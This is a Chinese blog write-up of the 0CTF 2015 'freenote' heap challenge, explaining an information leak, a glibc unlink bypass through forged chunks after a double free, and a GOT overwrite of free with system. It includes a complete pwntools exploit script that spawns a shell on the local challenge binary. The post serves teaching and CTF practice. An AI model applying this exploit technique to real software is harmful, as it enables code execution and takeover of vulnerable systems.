见微知著(二):解析ctf中的pwn--怎么利用double free

  这次选2015年的0ctf的一道非常经典的pwn题,感觉这个题目作为练习题来理解堆还是很棒的。

  运行起来,可以看出是一个实现类似于记事本功能的程序,就这一点而言,基本是套路了,功能都试一遍之后,就可以去试着寻找漏洞了,

看呀看,看呀看,发现一个问题,咦,好像在free堆的时候没有进行检查额,有趣,问题肯定就在这里了。

  详细看过0day安全的都记得书里面的Dword Shoot吧!然而,随着国内外黑客们隔段时间就喜欢搞点大新闻,所以无论在Linux和Windows上都插入了宏来验证堆上的fd和bk是否发生了修改。具体代码如下: 

assert(p->fd->bk == p);
assert(p->bk->fd == p);

  当然,这会在后面细说的,在利用double_free之前,要想办法泄露出堆的地址,这里得看输入字符串函数了,根据套路,一般都是这里出问题。

  果不其然,这里输入字符串结尾并没有加上'/x00',说明可以读取超过预定长度的字符串了,这里来回顾一下一个chunk长啥样的,这里为了方便理解这个题的泄露方式,我自己画了一个一维的图:

  其中FD中指向next_chunk,BK指向前置指针。换句话说,只要能够得到FD或者BK的值,再通过一定的计算,就可以得到堆的地址了。而在glibc中,free之后并不会清空对中的内容,又因为如之前所说,输入并不会在末尾加'\x00'。所以这里有很多种方法可以的得到指针的值,这里选取一种容易理解的来讲解

       可以分配一个chunk,然后再将它free掉,之后再分配一个等于8字节大小的chunk,覆盖掉FD,但是此时,FD依然是之前的值,而且由于put函数直到遇到'\x00'才停止输出,完全可以得到BK的值,在经      过计算就可以得到heap的基地址了

  而且,这里还有一个挺有意思的地方,在glibc中,main Arena 在libc.so.6的数据段上,也就是说,我们也可以根据这种办法来变相得到libc.so.6的基地址,当然也可以通过固有套路来得到基地址。源码如下:

raw_input('*************************Leak_Libc*******************************8')

notelen=0x80

new_note("A"*notelen)
new_note("B"*notelen)
delete_note(0)

new_note("AAAAAAAA")
list_note()
p.recvuntil("0. AAAAAAAA")
leak = p.recvuntil("\n")
leaklibcaddr = u64(leak[0:-1].ljust(8, '\x00'))-0x3be7b8
print hex(leaklibcaddr)

system_sh_addr = leaklibcaddr + 0x46590
print "system_sh_addr: " + hex(system_sh_addr)
bin_sh_addr = leaklibcaddr + 0x17c8c3

delete_note(1)
delete_note(0)


raw_input('******************Leak_heap******************')
notelen=0x80

new_note("A"*notelen)
new_note("B"*notelen)
new_note("C"*notelen)
new_note("D"*notelen)
delete_note(2)
delete_note(0)

new_note("AAAAAAAA")
list_note()
p.recvuntil("0. AAAAAAAA")
leak = p.recvuntil("\n")

#print leak[0:-1].encode('hex')
heapBase= u64(leak[0:-1].ljust(8, '\x00'))-0x1820
print "heapBase:"+hex(heapBase)

delete_note(0)
delete_note(1)
delete_note(3)

 

   好啦,基地址拿到了,现在可以好好讲讲double_free了,在很久很久以前,那时候没有那么多加固措施,那时候进行堆攻击就挺方便的。直接溢出,伪造BK和FD就好了=_=。这个利用详细可以看看exploit-exercise, fusion的heap3,这里只简单讲一下free函数里的unlink操作了,如下:

FD = P->fd;                                                          
BK = P->bk;
FD->bk = BK;                                                       \
BK->fd = FD;  

   然而,正如上文所说,加入了两个断言,所以就要相办法绕过去,这里常规的方法就是找一个指向该chunk的指针p,同时将该chunk的fd指向p-3,而bk指向P-2。这样的话就可以将*p = p-3了,同时,如果可以对*p,也就是chunk进行写的话,就可以任意写p-3之后的内存空间了。示意图如下:

  在这个题目中,通过对p进行写,然后可以将p指向got.plt 中free的位置,再将free写成system,最后再调用free就OK了!

  具体思路大致就是这些,但是,还有一个很重要的问题没有说,就是怎么得到伪造的机会以及怎么伪造,先来将怎么得到伪造的机会。

正如上文所说,本题没有检查chunk是否释放,完全可以先连续malloc三个堆,chunkA,chunkB,chunkC,再释放,根据堆的特性,这三个堆会合并,这是再分配一个小于size(chunkA)+size(chunkB)+size(chunkC)+0x20的堆,这是再对这片内存进行写,来伪造连续四个堆(貌似可以只伪造两个,但是还没有看完glibc的malloc.c的代码,所以以后再补),至于为什么伪造四个呢,这里要考虑到chunk的flag指向的是preChunk的状态,而要触发unlink操作的话,需要检查上一个chunk和下一个chunk的状态,这是就需要查看该chunk的flag和下下个chunk的flag了。在伪造的时候,需要注意的是有这么一段检查(坑的一逼)

 assert (P->fd_nextsize->bk_nextsize == P);               
 assert (P->bk_nextsize->fd_nextsize == P);

 所以,我们的上一段的size(也就是进行unlink操作的那个chunk),等于本段的preSize。

所以伪造的堆块如下。

payload  = ""
payload += p64(0x0) + p64(notelen+1) + p64(fd) + p64(bk) + "A" * (notelen - 0x20)
payload += p64(notelen) + p64(notelen+0x10) + "A" * notelen
payload += p64(0) + p64(notelen+0x11)+ "\x00" * (notelen-0x20)

 下面是exp,在ubuntu可以直接使用,其它环境,请自己拿到libc.so.6的相关函数偏移地址:

#!/usr/bin/env python
from pwn import *

#switch
DEBUG = 0
LOCAL = 1
VERBOSE = 1

if LOCAL:
    p = process('./freenote_x64')
else:
    p = remote('127.0.0.1',6666)

if VERBOSE:
    context(log_level='debug')

def new_note(x):
    p.recvuntil("Your choice: ")
    p.send("2\n")
    p.recvuntil("Length of new note: ")
    p.send(str(len(x))+"\n")
    p.recvuntil("Enter your note: ")
    p.send(x)

def delete_note(x):
    p.recvuntil("Your choice: ")
    p.send("4\n")
    p.recvuntil("Note number: ")
    p.send(str(x)+"\n")

def list_note():
    p.recvuntil("Your choice: ")
    p.send("1\n")
    
def edit_note(x,y):
    p.recvuntil("Your choice: ")
    p.send("3\n")   
    p.recvuntil("Note number: ")
    p.send(str(x)+"\n")   
    p.recvuntil("Length of note: ")
    p.send(str(len(y))+"\n") 
    p.recvuntil("Enter your note: ")
    p.send(y)

if DEBUG: 
    gdb.attach(p)
    

raw_input('*************************Leak_Libc*******************************8')

notelen=0x80

new_note("A"*notelen)
new_note("B"*notelen)
delete_note(0)

new_note("AAAAAAAA")
list_note()
p.recvuntil("0. AAAAAAAA")
leak = p.recvuntil("\n")


leaklibcaddr = u64(leak[0:-1].ljust(8, '\x00'))-0x3be7b8
print hex(leaklibcaddr)

system_sh_addr = leaklibcaddr + 0x46590
print "system_sh_addr: " + hex(system_sh_addr)
bin_sh_addr = leaklibcaddr + 0x17c8c3

delete_note(1)
delete_note(0)




raw_input('******************Leak_heap******************')
notelen=0x80

new_note("A"*notelen)
new_note("B"*notelen)
new_note("C"*notelen)
new_note("D"*notelen)
delete_note(2)
delete_note(0)

new_note("AAAAAAAA")
list_note()
p.recvuntil("0. AAAAAAAA")
leak = p.recvuntil("\n")

#print leak[0:-1].encode('hex')
heapBase= u64(leak[0:-1].ljust(8, '\x00'))-0x1820
print "heapBase:"+hex(heapBase)

delete_note(0)
delete_note(1)
delete_note(3)


raw_input('*******************doubel_free*****************')
notelen = 0x80

#new_note("/bin/sh\x00"+"A"*(notelen-8))
new_note("A"*notelen)
new_note("B"*notelen)
new_note("C"*notelen)

delete_note(2)
delete_note(1)
delete_note(0)

fd = heapBase + 0x18#notetable
bk = fd + 0x8


payload  = ""
payload += p64(0x0) + p64(notelen+1) + p64(fd) + p64(bk) + "A" * (notelen - 0x20)
payload += p64(notelen) + p64(notelen+0x10) + "A" * notelen
payload += p64(0) + p64(notelen+0x11)+ "\x00" * (notelen-0x20)

new_note(payload)
raw_input('*******************beforetest*****************')
delete_note(1)

free_got = 0x602018

payload2 = p64(2)+p64(1)+p64(0x8)+p64(free_got)+'A'*0x10+p64(bin_sh_addr)
payload2 += 'A'*(0x180-len(payload2))


edit_note(0, payload2)
edit_note(0, p64(system_sh_addr))
delete_note(1)

p.interactive()

 

posted @ 2016-12-18 22:58  0xJDchen  阅读(6483)  评论(0编辑  收藏  举报